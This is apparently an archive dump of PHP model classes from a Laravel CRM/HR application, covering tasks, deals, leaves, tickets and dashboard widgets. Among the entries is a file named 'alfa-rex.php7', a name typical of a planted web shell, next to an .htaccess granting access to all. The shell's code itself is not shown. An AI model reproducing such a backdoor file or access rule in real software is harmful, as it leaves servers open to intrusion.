{ return $this->due_date->format('Y-m-d'); } return $this->due_date->format($this->company->date_format); } public function getCreateOnAttribute() { if (is_null($this->start_date)) { return ''; } return $this->start_date->format($this->company->date_format); } public function getIsTaskUserAttribute() { if (user()) { return $this->taskUsers->where('user_id', user()->id)->first(); } } public function getTotalEstimatedMinutesAttribute() { $hours = $this->estimate_hours; $minutes = $this->estimate_minutes; return ($hours * 60) + $minutes; } /** * @param int $projectId * @param null $userID * @return \Illuminate\Support\Collection */ public static function projectOpenTasks($projectId, $userID = null) { $taskBoardColumn = TaskboardColumn::completeColumn(); $projectTask = Task::join('task_users', 'task_users.task_id', '=', 'tasks.id') ->where('tasks.board_column_id', '<>', $taskBoardColumn->id) ->select('tasks.*'); if ($userID) { $projectIssue = $projectTask->where('task_users.user_id', '=', $userID); } $projectIssue = $projectTask->where('project_id', $projectId) ->get(); return $projectIssue; } public static function projectCompletedTasks($projectId) { $taskBoardColumn = TaskboardColumn::completeColumn(); return Task::where('tasks.board_column_id', $taskBoardColumn->id) ->where('project_id', $projectId) ->get(); } public static function projectTasks($projectId, $userID = null, $onlyPublic = null, $withoutDueDate = null) { $projectTask = Task::with('boardColumn') ->leftJoin('task_users', 'task_users.task_id', '=', 'tasks.id') ->where('project_id', $projectId) ->select('tasks.*'); if ($userID) { $projectIssue = $projectTask->where('task_users.user_id', '=', $userID); } if ($withoutDueDate) { $projectIssue = $projectTask->whereNotNull('tasks.due_date'); } if ($onlyPublic != null) { $projectIssue = $projectTask->where( function ($q) { $q->where('is_private', 0); if (auth()->user()) { $q->orWhere('created_by', user()->id); } } ); } $projectIssue = $projectTask->select('tasks.*'); $projectIssue = $projectTask->orderBy('start_date', 'asc'); $projectIssue = $projectTask->groupBy('tasks.id'); $projectIssue = $projectTask->get(); return $projectIssue; } public static function projectLogTimeTasks($projectId, $userID = null, $onlyPublic = null, $withoutDueDate = null) { $projectTask = Task::with('boardColumn') ->leftJoin('task_users', 'task_users.task_id', '=', 'tasks.id') ->where('project_id', $projectId) ->select('tasks.*'); if ($userID) { $projectIssue = $projectTask->where('task_users.user_id', '=', $userID); } if ($withoutDueDate) { $projectIssue = $projectTask->whereNotNull('tasks.due_date'); } if ($onlyPublic != null) { $projectIssue = $projectTask->where( function ($q) { $q->where('is_private', 0); if (auth()->user()) { $q->orWhere('created_by', user()->id); } } ); } // Get tasks related to selected project and selected project manager $viewTaskPermission = user()->permission('view_tasks'); $addTimelogPermission = user()->permission('add_timelogs'); if ($viewTaskPermission == 'both') { $projectTask->where(function ($query) use ($addTimelogPermission) { if ($addTimelogPermission == 'all') { $query->where('tasks.added_by', user()->id); } $query->orWhere('task_users.user_id', user()->id); }); } $projectIssue = $projectTask->select('tasks.*'); $projectIssue = $projectTask->orderBy('start_date'); $projectIssue = $projectTask->groupBy('tasks.id'); $projectIssue = $projectTask->get(); return $projectIssue; } /** * @return bool */ public function pinned() { $userId = UserService::getUserId(); $pin = Pinned::where('user_id', $userId)->where('task_id', $this->id)->first(); if (!is_null($pin)) { return true; } return false; } public static function timelogTasks($projectId = null) { $viewTaskPermission = user()->permission('view_tasks'); $addTimelogPermission = user()->permission('add_timelogs'); if ($viewTaskPermission != 'none' && $addTimelogPermission != 'none') { $tasks = Task::select('tasks.id', 'tasks.heading') ->join('task_users', 'task_users.task_id', '=', 'tasks.id'); if (!is_null($projectId)) { $tasks->where('tasks.project_id', '=', $projectId); } if ($viewTaskPermission == 'both') { $tasks->where(function ($query) use ($addTimelogPermission) { if ($addTimelogPermission == 'all') { $query->where('tasks.added_by', user()->id); } $query->orWhere('task_users.user_id', user()->id); }); } if ($viewTaskPermission == 'added' && $addTimelogPermission == 'all') { $tasks->where('tasks.added_by', user()->id); } if ($viewTaskPermission == 'owned') { $tasks->where('task_users.user_id', user()->id); } return $tasks->groupBy('tasks.id')->get(); } } public function breakMinutes() { return ProjectTimeLogBreak::taskBreakMinutes($this->id); } public function mentionUser(): BelongsToMany { return $this->belongsToMany(User::class, 'mention_users')->withoutGlobalScope(ActiveScope::class)->using(MentionUser::class); } public function mentionTask(): HasMany { return $this->hasMany(MentionUser::class, 'task_id'); } public static function projectTaskCount($projectID) { $task = Task::where('project_id', $projectID)->orderByDesc('id')->first(); if ($task) { $taskID = explode('-', $task->task_short_code); $taskCode = array_pop($taskID); return (int)$taskCode; } return 0; } /* * Permissions */ public function hasAllPermission($permission): bool { return $permission == 'all'; } public function hasAddedPermission($permission): bool { $userId = UserService::getUserId(); $id = user()->id; if (in_array('client', user_roles())) { $clientContact = ClientContact::where('client_id', user()->id)->first(); if ($clientContact) { $id = $clientContact->user_id; } } return $permission == 'added' && ($id == $this->added_by || $userId == $this->added_by); } public function hasOwnedPermission($permission): bool { $taskUsers = $this->users->pluck('id')->toArray(); $userId = UserService::getUserId(); return $permission == 'owned' && (in_array(user()->id, $taskUsers) || in_array($userId, $taskUsers) || in_array('client', user_roles())); } public function hasBothPermission($permission): bool { $taskUsers = $this->users->pluck('id')->toArray(); $userId = UserService::getUserId(); $id = user()->id; if (in_array('client', user_roles())) { $clientContact = ClientContact::where('client_id', user()->id)->first(); if ($clientContact) { $id = $clientContact->user_id; } } return $permission == 'both' && (in_array(user()->id, $taskUsers) || ($this->added_by == $id || $this->added_by == $userId) || in_array('client', user_roles())); } public function projectAdmin(): bool { return $this->project_admin === user()->id; } public function canViewTicket(): bool { return $this->hasPermission(user()->permission('view_tasks')); } public function canDeleteTicket(): bool { return $this->hasPermission(user()->permission('delete_tasks')); } public function canEditTicket(): bool { return $this->hasPermission(user()->permission('edit_tasks')); } public function hasPermission($permission): bool { return $this->hasAllPermission($permission) || $this->hasAddedPermission($permission) || $this->hasOwnedPermission($permission) || $this->hasBothPermission($permission) || $this->projectAdmin(); } } Models/ContractFile.php000064400000006573150325104510011064 0ustar00external_link){ return str($this->external_link)->contains('http') ? $this->external_link : asset_url_local_s3($this->external_link); } return asset_url_local_s3(ContractFile::FILE_PATH . '/' . $this->contract_id . '/' . $this->hashname); } public function getFileAttribute() { return $this->external_link ?: (ContractFile::FILE_PATH . '/' . $this->contract_id . '/' . $this->hashname); } public function contract(): BelongsTo { return $this->belongsTo(Contract::class); } } Models/Deal.php000064400000023007150325104510007343 0ustar00 $products * @property-read int|null $products_count * @property-read int|null $follow_up_date_next * @property-read int|null $follow_up_date_past * @property string|null $name * @property int|null $lead_pipeline_id * @property int|null $pipeline_stage_id * @property int|null $lead_id * @property \Illuminate\Support\Carbon|null $close_date * @property-read \App\Models\Lead|null $contact * @property-read \App\Models\PipelineStage|null $leadStage * @property-read \App\Models\LeadPipeline|null $pipeline * @method static \Illuminate\Database\Eloquent\Builder|Deal whereCloseDate($value) * @method static \Illuminate\Database\Eloquent\Builder|Deal whereLeadId($value) * @method static \Illuminate\Database\Eloquent\Builder|Deal whereLeadPipelineId($value) * @method static \Illuminate\Database\Eloquent\Builder|Deal whereName($value) * @method static \Illuminate\Database\Eloquent\Builder|Deal wherePipelineStageId($value) * @mixin \Eloquent */ class Deal extends BaseModel { use Notifiable, HasFactory; use CustomFieldsTrait; use HasCompany; const CUSTOM_FIELD_MODEL = 'App\Models\Deal'; protected $appends = ['image_url']; protected $casts = [ 'close_date' => 'datetime', 'next_follow_up_date' => 'datetime', ]; public function getImageUrlAttribute() { $gravatarHash = md5(strtolower(trim($this->name))); return 'https://www.gravatar.com/avatar/' . $gravatarHash . '.png?s=200&d=mp'; } /** * Route notifications for the mail channel. * * @param \Illuminate\Notifications\Notification $notification * @return string */ // phpcs:ignore public function routeNotificationForMail($notification) { return $this->contact->client_email; } public function leadAgent(): BelongsTo { return $this->belongsTo(LeadAgent::class, 'agent_id'); } public function dealWatcher() { return $this->belongsTo(User::class, 'deal_watcher', 'id'); } public function contact(): BelongsTo { return $this->belongsTo(Lead::class, 'lead_id'); } public function note(): BelongsTo { return $this->belongsTo(DealNote::class, 'deal_id'); } public function leadSource(): BelongsTo { return $this->belongsTo(LeadSource::class, 'source_id'); } public function category(): BelongsTo { return $this->belongsTo(LeadCategory::class, 'category_id'); } public function leadStage(): BelongsTo { return $this->belongsTo(PipelineStage::class, 'pipeline_stage_id'); } public function pipeline(): BelongsTo { return $this->belongsTo(LeadPipeline::class, 'lead_pipeline_id'); } public function client(): BelongsTo { return $this->belongsTo(User::class, 'client_id'); } public function currency(): BelongsTo { return $this->belongsTo(Currency::class, 'currency_id'); } public function products(): BelongsToMany { return $this->belongsToMany(Product::class, 'lead_products', 'deal_id')->using(LeadProduct::class); } public function follow() { if (user()) { $viewLeadFollowUpPermission = user()->permission('view_lead_follow_up'); if ($viewLeadFollowUpPermission == 'all') { return $this->hasMany(DealFollowUp::class); } if ($viewLeadFollowUpPermission == 'added') { return $this->hasMany(DealFollowUp::class)->where('added_by', user()->id); } return null; } return $this->hasMany(DealFollowUp::class); } public function followup(): HasOne { return $this->hasOne(DealFollowUp::class, 'deal_id')->orderByDesc('created_at'); } public function files(): HasMany { return $this->hasMany(DealFile::class, 'deal_id')->orderByDesc('created_at'); } public static function allLeads($contactId = null) { $leads = Deal::select('*')->orderBy('name'); if ($contactId) { $leads->where('lead_id', $contactId); } return $leads->get(); } public function addedBy() { return $this->belongsTo(User::class, 'added_by')->withoutGlobalScope(ActiveScope::class); } } Models/LeaveSetting.php000064400000002271150325104510011070 0ustar00hasOne(Appreciation::class); } public function appreciations(): HasMany { return $this->hasMany(Appreciation::class); } public function awardIcon(): BelongsTo { return $this->belongsTo(AwardIcon::class); } } Models/.htaccess000064400000000544150325104510007564 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Models/ProposalTemplateItem.php000064400000006100150325104510012603 0ustar00hasOne(ProposalTemplateItemImage::class, 'proposal_template_item_id'); } public static function taxbyid($id) { return Tax::where('id', $id)->withTrashed(); } public function unit(): BelongsTo { return $this->belongsTo(UnitType::class, 'unit_id'); } } Models/ClientDetails.php000064400000012613150325104510011223 0ustar00belongsTo(User::class, 'user_id')->withoutGlobalScope(ActiveScope::class); } public function addedBy(): BelongsTo { return $this->belongsTo(User::class, 'added_by', 'id'); } public function getImageUrlAttribute() { try { return ($this->company_logo) ? asset_url_local_s3('client-logo/' . $this->company_logo) : $this->company->logo_url; } catch (\Exception $e) { return ''; } } } Models/ClientCategory.php000064400000002256150325104510011415 0ustar00lead_id . '/' . $this->hashname); } public function lead(): BelongsTo { return $this->belongsTo(Lead::class); } } Models/PurposeConsentLead.php000064400000003410150325104510012247 0ustar00 'admin-dashboard', 'widget_name' => 'total_clients', 'status' => 1], ['dashboard_type' => 'admin-dashboard', 'widget_name' => 'total_employees', 'status' => 1], ['dashboard_type' => 'admin-dashboard', 'widget_name' => 'total_projects', 'status' => 1], ['dashboard_type' => 'admin-dashboard', 'widget_name' => 'total_unpaid_invoices', 'status' => 1], ['dashboard_type' => 'admin-dashboard', 'widget_name' => 'total_hours_logged', 'status' => 1], ['dashboard_type' => 'admin-dashboard', 'widget_name' => 'total_pending_tasks', 'status' => 1], ['dashboard_type' => 'admin-dashboard', 'widget_name' => 'total_today_attendance', 'status' => 1], ['dashboard_type' => 'admin-dashboard', 'widget_name' => 'total_unresolved_tickets', 'status' => 1], ['dashboard_type' => 'admin-dashboard', 'widget_name' => 'recent_earnings', 'status' => 1], ['dashboard_type' => 'admin-dashboard', 'widget_name' => 'settings_leaves', 'status' => 1], ['dashboard_type' => 'admin-dashboard', 'widget_name' => 'new_tickets', 'status' => 1], ['dashboard_type' => 'admin-dashboard', 'widget_name' => 'overdue_tasks', 'status' => 1], ['dashboard_type' => 'admin-dashboard', 'widget_name' => 'pending_follow_up', 'status' => 1], ['dashboard_type' => 'admin-dashboard', 'widget_name' => 'project_activity_timeline', 'status' => 1], ['dashboard_type' => 'admin-dashboard', 'widget_name' => 'user_activity_timeline', 'status' => 1], ['dashboard_type' => 'admin-dashboard', 'widget_name' => 'timelogs', 'status' => 1], ['dashboard_type' => 'admin-client-dashboard', 'widget_name' => 'total_clients', 'status' => 1], ['dashboard_type' => 'admin-client-dashboard', 'widget_name' => 'total_leads', 'status' => 1], ['dashboard_type' => 'admin-client-dashboard', 'widget_name' => 'total_lead_conversions', 'status' => 1], ['dashboard_type' => 'admin-client-dashboard', 'widget_name' => 'total_contracts_generated', 'status' => 1], ['dashboard_type' => 'admin-client-dashboard', 'widget_name' => 'total_contracts_signed', 'status' => 1], ['dashboard_type' => 'admin-client-dashboard', 'widget_name' => 'client_wise_earnings', 'status' => 1], ['dashboard_type' => 'admin-client-dashboard', 'widget_name' => 'client_wise_timelogs', 'status' => 1], ['dashboard_type' => 'admin-client-dashboard', 'widget_name' => 'lead_vs_status', 'status' => 1], ['dashboard_type' => 'admin-client-dashboard', 'widget_name' => 'lead_vs_source', 'status' => 1], ['dashboard_type' => 'admin-client-dashboard', 'widget_name' => 'latest_client', 'status' => 1], ['dashboard_type' => 'admin-client-dashboard', 'widget_name' => 'recent_login_activities', 'status' => 1], ['dashboard_type' => 'admin-client-dashboard', 'widget_name' => 'total_deals', 'status' => 1], ['dashboard_type' => 'admin-finance-dashboard', 'widget_name' => 'total_paid_invoices', 'status' => 1], ['dashboard_type' => 'admin-finance-dashboard', 'widget_name' => 'total_expenses', 'status' => 1], ['dashboard_type' => 'admin-finance-dashboard', 'widget_name' => 'total_earnings', 'status' => 1], ['dashboard_type' => 'admin-finance-dashboard', 'widget_name' => 'total_pending_amount', 'status' => 1], ['dashboard_type' => 'admin-finance-dashboard', 'widget_name' => 'invoice_overview', 'status' => 1], ['dashboard_type' => 'admin-finance-dashboard', 'widget_name' => 'estimate_overview', 'status' => 1], ['dashboard_type' => 'admin-finance-dashboard', 'widget_name' => 'proposal_overview', 'status' => 1], ['dashboard_type' => 'admin-finance-dashboard', 'widget_name' => 'earnings_by_client', 'status' => 1], ['dashboard_type' => 'admin-finance-dashboard', 'widget_name' => 'earnings_by_projects', 'status' => 1], ['dashboard_type' => 'admin-finance-dashboard', 'widget_name' => 'total_unpaid_invoices', 'status' => 1], ['dashboard_type' => 'admin-hr-dashboard', 'widget_name' => 'total_leaves_approved', 'status' => 1], ['dashboard_type' => 'admin-hr-dashboard', 'widget_name' => 'total_new_employee', 'status' => 1], ['dashboard_type' => 'admin-hr-dashboard', 'widget_name' => 'total_employee_exits', 'status' => 1], ['dashboard_type' => 'admin-hr-dashboard', 'widget_name' => 'average_attendance', 'status' => 1], ['dashboard_type' => 'admin-hr-dashboard', 'widget_name' => 'department_wise_employee', 'status' => 1], ['dashboard_type' => 'admin-hr-dashboard', 'widget_name' => 'designation_wise_employee', 'status' => 1], ['dashboard_type' => 'admin-hr-dashboard', 'widget_name' => 'gender_wise_employee', 'status' => 1], ['dashboard_type' => 'admin-hr-dashboard', 'widget_name' => 'role_wise_employee', 'status' => 1], ['dashboard_type' => 'admin-hr-dashboard', 'widget_name' => 'leaves_taken', 'status' => 1], ['dashboard_type' => 'admin-hr-dashboard', 'widget_name' => 'late_attendance_mark', 'status' => 1], ['dashboard_type' => 'admin-hr-dashboard', 'widget_name' => 'headcount', 'status' => 1], ['dashboard_type' => 'admin-hr-dashboard', 'widget_name' => 'joining_vs_attrition', 'status' => 1], ['dashboard_type' => 'admin-hr-dashboard', 'widget_name' => 'birthday', 'status' => 1], ['dashboard_type' => 'admin-hr-dashboard', 'widget_name' => 'total_today_attendance', 'status' => 1], ['dashboard_type' => 'admin-project-dashboard', 'widget_name' => 'total_project', 'status' => 1], ['dashboard_type' => 'admin-project-dashboard', 'widget_name' => 'total_hours_logged', 'status' => 1], ['dashboard_type' => 'admin-project-dashboard', 'widget_name' => 'total_overdue_project', 'status' => 1], ['dashboard_type' => 'admin-project-dashboard', 'widget_name' => 'status_wise_project', 'status' => 1], ['dashboard_type' => 'admin-project-dashboard', 'widget_name' => 'pending_milestone', 'status' => 1], ['dashboard_type' => 'admin-ticket-dashboard', 'widget_name' => 'total_tickets', 'status' => 1], ['dashboard_type' => 'admin-ticket-dashboard', 'widget_name' => 'total_unassigned_ticket', 'status' => 1], ['dashboard_type' => 'admin-ticket-dashboard', 'widget_name' => 'type_wise_ticket', 'status' => 1], ['dashboard_type' => 'admin-ticket-dashboard', 'widget_name' => 'status_wise_ticket', 'status' => 1], ['dashboard_type' => 'admin-ticket-dashboard', 'widget_name' => 'channel_wise_ticket', 'status' => 1], ['dashboard_type' => 'admin-ticket-dashboard', 'widget_name' => 'new_tickets', 'status' => 1], ['dashboard_type' => 'private-dashboard', 'widget_name' => 'profile', 'status' => 1], ['dashboard_type' => 'private-dashboard', 'widget_name' => 'shift_schedule', 'status' => 1], ['dashboard_type' => 'private-dashboard', 'widget_name' => 'birthday', 'status' => 1], ['dashboard_type' => 'private-dashboard', 'widget_name' => 'notices', 'status' => 1], ['dashboard_type' => 'private-dashboard', 'widget_name' => 'tasks', 'status' => 1], ['dashboard_type' => 'private-dashboard', 'widget_name' => 'projects', 'status' => 1], ['dashboard_type' => 'private-dashboard', 'widget_name' => 'my_task', 'status' => 1], ['dashboard_type' => 'private-dashboard', 'widget_name' => 'my_calender', 'status' => 1], ['dashboard_type' => 'private-dashboard', 'widget_name' => 'week_timelog', 'status' => 1], ['dashboard_type' => 'private-dashboard', 'widget_name' => 'leave', 'status' => 1], ['dashboard_type' => 'private-dashboard', 'widget_name' => 'lead', 'status' => 1], ['dashboard_type' => 'private-dashboard', 'widget_name' => 'work_from_home', 'status' => 1], ['dashboard_type' => 'private-dashboard', 'widget_name' => 'appreciation', 'status' => 1], ['dashboard_type' => 'private-dashboard', 'widget_name' => 'work_anniversary', 'status' => 1], ['dashboard_type' => 'private-dashboard', 'widget_name' => 'ticket', 'status' => 1], ['dashboard_type' => 'private-dashboard', 'widget_name' => 'notice_period_duration', 'status' => 1], ['dashboard_type' => 'private-dashboard', 'widget_name' => 'probation_date', 'status' => 1], ['dashboard_type' => 'private-dashboard', 'widget_name' => 'contract_date', 'status' => 1], ['dashboard_type' => 'private-dashboard', 'widget_name' => 'internship_date', 'status' => 1], ['dashboard_type' => 'private-dashboard', 'widget_name' => 'follow_ups', 'status' => 1], ]; } Models/Discussion.php000064400000011520150325104510010616 0ustar00 $mentionDiscussion * @property-read int|null $mention_discussion_count * @property-read \Illuminate\Database\Eloquent\Collection $mentionUser * @property-read int|null $mention_user_count * @property-read \Illuminate\Database\Eloquent\Collection $mentionDiscussion * @property-read \Illuminate\Database\Eloquent\Collection $mentionUser * @mixin \Eloquent */ class Discussion extends BaseModel { use HasCompany; protected $guarded = ['id']; protected $casts = [ 'last_reply_at' => 'datetime', ]; public function user(): BelongsTo { return $this->belongsTo(User::class); } public function lastReplyBy(): BelongsTo { return $this->belongsTo(User::class, 'last_reply_by_id'); } public function replies(): HasMany { return $this->hasMany(DiscussionReply::class, 'discussion_id'); } public function category(): BelongsTo { return $this->belongsTo(DiscussionCategory::class, 'discussion_category_id'); } public function project(): BelongsTo { return $this->belongsTo(Project::class, 'project_id'); } public function files(): HasMany { return $this->hasMany(DiscussionFile::class, 'discussion_id'); } public function mentionUser(): BelongsToMany { return $this->belongsToMany(User::class, 'mention_users')->withoutGlobalScope(ActiveScope::class)->using(MentionUser::class); } public function mentionDiscussion(): HasMany { return $this->hasMany(MentionUser::class, 'discussion_id'); } } Models/CustomFieldGroup.php000064400000007137150325104510011737 0ustar00 'Client', 'model' => ClientDetails::CUSTOM_FIELD_MODEL], ['name' => 'Employee', 'model' => EmployeeDetails::CUSTOM_FIELD_MODEL], ['name' => 'Project', 'model' => Project::CUSTOM_FIELD_MODEL], ['name' => 'Invoice', 'model' => Invoice::CUSTOM_FIELD_MODEL], ['name' => 'Estimate', 'model' => Estimate::CUSTOM_FIELD_MODEL], ['name' => 'Task', 'model' => Task::CUSTOM_FIELD_MODEL], ['name' => 'Expense', 'model' => Expense::CUSTOM_FIELD_MODEL], ['name' => 'Lead', 'model' => Lead::CUSTOM_FIELD_MODEL], ['name' => 'Deal', 'model' => Deal::CUSTOM_FIELD_MODEL], ['name' => 'Product', 'model' => Product::CUSTOM_FIELD_MODEL], ['name' => 'Ticket', 'model' => Ticket::CUSTOM_FIELD_MODEL], ['name' => 'Time Log', 'model' => ProjectTimeLog::CUSTOM_FIELD_MODEL], ['name' => 'Contract', 'model' => Contract::CUSTOM_FIELD_MODEL] ]; public $timestamps = false; public function customField(): HasMany { return $this->HasMany(CustomField::class); } public static function customFieldsDataMerge($model) { $customFields = CustomField::exportCustomFields($model); $customFieldsDataMerge = []; foreach ($customFields as $customField) { $customFieldsData = [ $customField->name => [ 'data' => $customField->name, 'name' => $customField->name, 'title' => str($customField->label)->__toString(), 'visible' => (!is_null($customField['visible'])) ? $customField['visible'] : false, 'orderable' => false, ] ]; $customFieldsDataMerge = array_merge($customFieldsDataMerge, $customFieldsData); info($customFieldsDataMerge); } return $customFieldsDataMerge; } /** * Get the custom field group's name. */ protected function fields(): Attribute { return Attribute::make( get: function () { return $this->customField->map(function ($item) { if (in_array($item->type, ['select', 'radio'])) { $item->values = json_decode($item->values); return $item; } return $item; }); }, ); } } Models/TaskLabelList.php000064400000003411150325104510011171 0ustar00color ?: '#3b0ae1'; } } Models/TicketType.php000064400000002612150325104510010562 0ustar00hasMany(Ticket::class, 'type_id'); } } Models/LeadProduct.php000064400000003165150325104510010707 0ustar00belongsTo(Product::class, 'product_id'); } public function lead(): BelongsTo { return $this->belongsTo(Deal::class, 'deal_id'); } } Models/TicketFile.php000064400000005645150325104510010531 0ustar00external_link){ return str($this->external_link)->contains('http') ? $this->external_link : asset_url_local_s3($this->external_link); } return asset_url_local_s3(TicketFile::FILE_PATH . '/' . $this->ticket_reply_id . '/' . $this->hashname); } public function getFileAttribute() { return $this->external_link ?: (TicketFile::FILE_PATH . '/' . $this->ticket_reply_id . '/' . $this->hashname); } public function reply(): BelongsTo { return $this->belongsTo(TicketReply::class); } } Models/alfa-rex.php7000064400000026574150325104510010300 0ustar00Models/OfflinePaymentMethod.php000064400000004650150325104510012562 0ustar00 'datetime', ]; protected $appends = ['image_url']; public static function activeMethod() { return OfflinePaymentMethod::where('status', 'yes')->get(); } public function scopeActive($query) { return $query->where('status', 'yes'); } public function getImageUrlAttribute() { return ($this->image) ? asset_url_local_s3('offline-method/' . $this->image) : '-'; } public function maskedImageUrl(): Attribute { return Attribute::make( get: function () { return ($this->image) ? $this->generateMaskedImageAppUrl('offline-method/' . $this->image) : '-'; }, ); } } Models/UserTaskboardSetting.php000064400000003035150325104510012604 0ustar00notification_logo)) { return 'http://via.placeholder.com/200x150.png?text=' . __('modules.slackSettings.uploadSlackLogo'); } return asset_url_local_s3('notification-logo/' . $this->notification_logo); } } Models/NoticeFile.php000064400000001276150325104510010523 0ustar00external_link){ return str($this->external_link)->contains('http') ? $this->external_link : asset_url_local_s3($this->external_link); } return asset_url_local_s3(self::FILE_PATH . '/' . $this->notice_id . '/' . $this->hashname); } public function getFileAttribute() { return $this->external_link ?: (self::FILE_PATH . '/' . $this->notice_id . '/' . $this->hashname); } } Models/LeaveFile.php000064400000004441150325104510010333 0ustar00belongsTo(Leave::class); } public function getFileUrlAttribute() { return asset_url_local_s3(LeaveFile::FILE_PATH . '/' . $this->leave_id . '/' . $this->hashname); } } Models/EmployeeShiftSchedule.php000064400000007472150325104510012740 0ustar00 'datetime', 'shift_start_time' => 'datetime', 'shift_end_time' => 'datetime', ]; protected $appends = ['file_url', 'download_file_url']; protected $guarded = ['id']; protected $with = ['shift']; public function getFileUrlAttribute() { return ($this->file) ? asset_url_local_s3('employee-shift-file/'. $this->id.'/' . $this->file) : ''; } public function getDownloadFileUrlAttribute() { return ($this->file) ? asset_url_local_s3('employee-shift-file/'. $this->id.'/' . $this->file) : null; } public function user(): BelongsTo { return $this->belongsTo(User::class, 'user_id'); } public function shift(): BelongsTo { return $this->belongsTo(EmployeeShift::class, 'employee_shift_id'); } public function requestChange(): HasOne { return $this->hasOne(EmployeeShiftChangeRequest::class, 'shift_schedule_id'); } public function pendingRequestChange(): HasOne { return $this->hasOne(EmployeeShiftChangeRequest::class, 'shift_schedule_id')->where('status', 'waiting'); } } Models/ClientNote.php000064400000005046150325104510010545 0ustar00belongsTo(User::class, 'client_id'); } public function members(): HasMany { return $this->hasMany(ClientUserNote::class, 'client_note_id'); } } Models/ProjectTimeLogBreak.php000064400000012372150325104510012335 0ustar00 'datetime', 'end_time' => 'datetime', ]; public function timelog(): BelongsTo { return $this->belongsTo(ProjectTimeLog::class, 'project_time_log_id'); } public static function projectBreakMinutes($projectID) { return ProjectTimeLogBreak::join('project_time_logs', 'project_time_log_breaks.project_time_log_id', '=', 'project_time_logs.id') ->where('project_time_logs.project_id', $projectID) ->sum('project_time_log_breaks.total_minutes'); } public static function taskBreakMinutes($taskID) { return ProjectTimeLogBreak::join('project_time_logs', 'project_time_log_breaks.project_time_log_id', '=', 'project_time_logs.id') ->where('project_time_logs.task_id', $taskID) ->whereNotNull('project_time_logs.end_time') ->sum('project_time_log_breaks.total_minutes'); } public static function userBreakMinutes($userID) { return ProjectTimeLogBreak::join('project_time_logs', 'project_time_log_breaks.project_time_log_id', '=', 'project_time_logs.id') ->where('project_time_logs.user_id', $userID) ->sum('project_time_log_breaks.total_minutes'); } public static function milestoneBreakMinutes($milestoneID) { return ProjectTimeLogBreak::join('project_time_logs', 'project_time_log_breaks.project_time_log_id', '=', 'project_time_logs.id') ->join('project_milestones', 'project_milestones.project_id', '=', 'project_time_logs.project_id') ->where('project_milestones.id', $milestoneID) ->sum('project_time_log_breaks.total_minutes'); } public static function dateWiseTimelogBreak($date, $userID = null) { $timelogs = ProjectTimeLogBreak::join('project_time_logs', 'project_time_log_breaks.project_time_log_id', '=', 'project_time_logs.id') ->whereDate('project_time_log_breaks.start_time', $date) ->whereNotNull('project_time_logs.end_time') ->select('project_time_log_breaks.*'); if (!is_null($userID)) { $timelogs = $timelogs->where('project_time_logs.user_id', $userID); } return $timelogs = $timelogs->get(); } public static function weekWiseTimelogBreak($startDate, $endDate, $userID = null) { $timelogs = ProjectTimeLogBreak::join('project_time_logs', 'project_time_log_breaks.project_time_log_id', '=', 'project_time_logs.id') ->whereBetween(DB::raw('DATE(project_time_log_breaks.`start_time`)'), [$startDate, $endDate]) ->whereNotNull('project_time_logs.end_time') ->select('project_time_log_breaks.*'); if (!is_null($userID)) { $timelogs = $timelogs->where('project_time_logs.user_id', $userID); } return $timelogs = $timelogs->sum('project_time_log_breaks.total_minutes'); } } Models/DealNote.php000064400000005177150325104510010201 0ustar00belongsTo(User::class, 'deal_id'); } public function members(): HasMany { return $this->hasMany(LeadUserNote::class, 'lead_note_id'); } } Models/EstimateTemplate.php000064400000010076150325104510011747 0ustar00 $items * @property-read int|null $items_count * @property-read \App\Models\UnitType|null $units * @method static \Illuminate\Database\Eloquent\Builder|EstimateTemplate newModelQuery() * @method static \Illuminate\Database\Eloquent\Builder|EstimateTemplate newQuery() * @method static \Illuminate\Database\Eloquent\Builder|EstimateTemplate query() * @method static \Illuminate\Database\Eloquent\Builder|EstimateTemplate whereAddedBy($value) * @method static \Illuminate\Database\Eloquent\Builder|EstimateTemplate whereCalculateTax($value) * @method static \Illuminate\Database\Eloquent\Builder|EstimateTemplate whereClientComment($value) * @method static \Illuminate\Database\Eloquent\Builder|EstimateTemplate whereCreatedAt($value) * @method static \Illuminate\Database\Eloquent\Builder|EstimateTemplate whereCurrencyId($value) * @method static \Illuminate\Database\Eloquent\Builder|EstimateTemplate whereDescription($value) * @method static \Illuminate\Database\Eloquent\Builder|EstimateTemplate whereDiscount($value) * @method static \Illuminate\Database\Eloquent\Builder|EstimateTemplate whereDiscountType($value) * @method static \Illuminate\Database\Eloquent\Builder|EstimateTemplate whereHash($value) * @method static \Illuminate\Database\Eloquent\Builder|EstimateTemplate whereId($value) * @method static \Illuminate\Database\Eloquent\Builder|EstimateTemplate whereInvoiceConvert($value) * @method static \Illuminate\Database\Eloquent\Builder|EstimateTemplate whereLastUpdatedBy($value) * @method static \Illuminate\Database\Eloquent\Builder|EstimateTemplate whereName($value) * @method static \Illuminate\Database\Eloquent\Builder|EstimateTemplate whereNote($value) * @method static \Illuminate\Database\Eloquent\Builder|EstimateTemplate whereSignatureApproval($value) * @method static \Illuminate\Database\Eloquent\Builder|EstimateTemplate whereStatus($value) * @method static \Illuminate\Database\Eloquent\Builder|EstimateTemplate whereSubTotal($value) * @method static \Illuminate\Database\Eloquent\Builder|EstimateTemplate whereTotal($value) * @method static \Illuminate\Database\Eloquent\Builder|EstimateTemplate whereUnitId($value) * @method static \Illuminate\Database\Eloquent\Builder|EstimateTemplate whereUpdatedAt($value) * @mixin \Eloquent */ class EstimateTemplate extends BaseModel { use HasCompany; protected $table = 'estimate_templates'; public function items(): HasMany { return $this->hasMany(EstimateTemplateItem::class, 'estimate_template_id'); } public function currency(): BelongsTo { return $this->belongsTo(Currency::class, 'currency_id'); } public function clients(): BelongsTo { return $this->belongsTo(ClientDetails::class); } public function units(): BelongsTo { return $this->belongsTo(UnitType::class, 'unit_id'); } } Models/Leave.php000064400000017550150325104510007540 0ustar00 $files * @property-read int|null $files_count * @property-read \App\Models\Leave|null $ldate * @method static \Illuminate\Database\Eloquent\Builder|Leave whereUniqueId($value) * @mixin \Eloquent */ class Leave extends BaseModel { use HasFactory; use HasCompany; protected $casts = [ 'leave_date' => 'datetime', 'approved_at' => 'datetime', ]; protected $guarded = ['id']; protected $appends = ['date']; // Being used in attendance public function getDateAttribute() { return $this->leave_date->toDateString(); } public function user(): BelongsTo { return $this->belongsTo(User::class, 